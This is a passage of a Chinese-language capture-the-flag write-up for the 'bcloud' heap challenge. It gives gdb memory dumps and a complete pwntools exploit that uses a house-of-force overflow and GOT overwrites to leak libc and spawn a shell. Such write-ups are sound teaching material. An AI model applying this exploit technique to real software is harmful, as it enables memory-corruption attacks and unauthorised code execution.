0x804b0c8: 0x0804c098 0x0804c008 0x00000000 0x00000000
0x804b0d8: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b0e8: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b0f8: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b108: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b118: 0x00000000 0x00000000 0x0804c0e0 0x00000000 <-- notes[0]
0x804b128: 0x00000000 0x00000000 0x00000000 0x00000000
```
再次 malloc将其后的 .bss 段变为可写,然后放上 GOT 表指针:
```text
gdb-peda$ x/40wx 0x0804b0a0-0x8
0x804b098: 0x00000000 0x00000099 0x41414141 0x41414141 <-- chunk
0x804b0a8: 0x41414141 0x41414141 0x41414141 0x41414141
0x804b0b8: 0x41414141 0x41414141 0x41414141 0x41414141
0x804b0c8: 0x41414141 0x41414141 0x41414141 0x41414141
0x804b0d8: 0x41414141 0x41414141 0x41414141 0x00000000
0x804b0e8: 0x41414141 0x41414141 0x41414141 0x41414141
0x804b0f8: 0x41414141 0x41414141 0x41414141 0x41414141
0x804b108: 0x41414141 0x41414141 0x41414141 0x41414141
0x804b118: 0x41414141 0x41414141 0x0804b014 0x0804b03c <-- notes[0], notes[1]
0x804b128: 0x0804b03c 0x00000000 0x00000000 0x00000fa1 <-- notes[2] <-- top chunk
```
### leak libc
```python
def leak_libc():
global system_addr
edit(0, p32(elf.plt['puts'])) # free@got.plt -> puts@plt
delete(1) # puts(atoi_addr)
io.recvuntil("id:\n")
leak_atoi_addr = u32(io.recvn(4))
libc_base = leak_atoi_addr - libc.symbols['atoi']
system_addr = libc_base + libc.symbols['system']
log.info("leak atoi address: 0x%x" % leak_atoi_addr)
log.info("libc base: 0x%x" % libc_base)
log.info("system address: 0x%x" % system_addr)
```
接下来就可以利用 Edit 功能修改 GOT 表,泄漏 libc 地址了。
### pwn
```python
def pwn():
edit(2, p32(system_addr)) # atoi@got.plt -> system@got.plt
io.sendline("/bin/sh\x00")
io.interactive()
```
开启 ASLRBingo!!!
```text
$ python exp.py
[+] Starting local process './bcloud': pid 6696
[*] leak heap address: 0x9181008
[*] leak atoi address: 0xf756b860
[*] libc base: 0xf753a000
[*] system address: 0xf757a190
[*] Switching to interactive mode
$ whoami
firmy
```
### exploit
完整的 exp 如下:
```python
#!/usr/bin/env python
from pwn import *
#context.log_level = 'debug'
io = process(['./bcloud'], env={'LD_PRELOAD':'./libc-2.19.so'})
elf = ELF('bcloud')
libc = ELF('libc-2.19.so')
bss_addr = 0x0804b0a0
def new(length, content):
io.sendlineafter("option--->>\n", '1')
io.sendlineafter("content:\n", str(length))
io.sendlineafter("content:\n", content)
def edit(idx, content):
io.sendlineafter("option--->>\n", '3')
io.sendline(str(idx))
io.sendline(content)
def delete(idx):
io.sendlineafter("option--->>\n", '4')
io.sendlineafter("id:\n", str(idx))
def leak_heap():
global leak
io.sendafter("name:\n", "A" * 0x40)
leak = u32(io.recvuntil('! Welcome', drop=True)[-4:])
log.info("leak heap address: 0x%x" % leak)
def house_of_force():
io.sendafter("Org:\n", "A" * 0x40)
io.sendlineafter("Host:\n", p32(0xffffffff)) # overflow
new((bss_addr - 0x8) - (leak + 0xd0) - 0x8 - 4, 'AAAA') # 0xd0 = top chunk - leak
payload = "A" * 0x80
payload += p32(elf.got['free']) # notes[0]
payload += p32(elf.got['atoi']) * 2 # notes[1], notes[2]
new(0x8c, payload)
def leak_libc():
global system_addr
edit(0, p32(elf.plt['puts'])) # free@got.plt -> puts@plt
delete(1) # puts(atoi_addr)
io.recvuntil("id:\n")
leak_atoi_addr = u32(io.recvn(4))
libc_base = leak_atoi_addr - libc.symbols['atoi']
system_addr = libc_base + libc.symbols['system']
log.info("leak atoi address: 0x%x" % leak_atoi_addr)
log.info("libc base: 0x%x" % libc_base)
log.info("system address: 0x%x" % system_addr)
def pwn():
edit(2, p32(system_addr)) # atoi@got.plt -> system@got.plt
io.sendline("/bin/sh\x00")
io.interactive()
if __name__ == '__main__':
leak_heap()
house_of_force()
leak_libc()
pwn()
```
## 参考资料
- <https://ctftime.org/task/2165>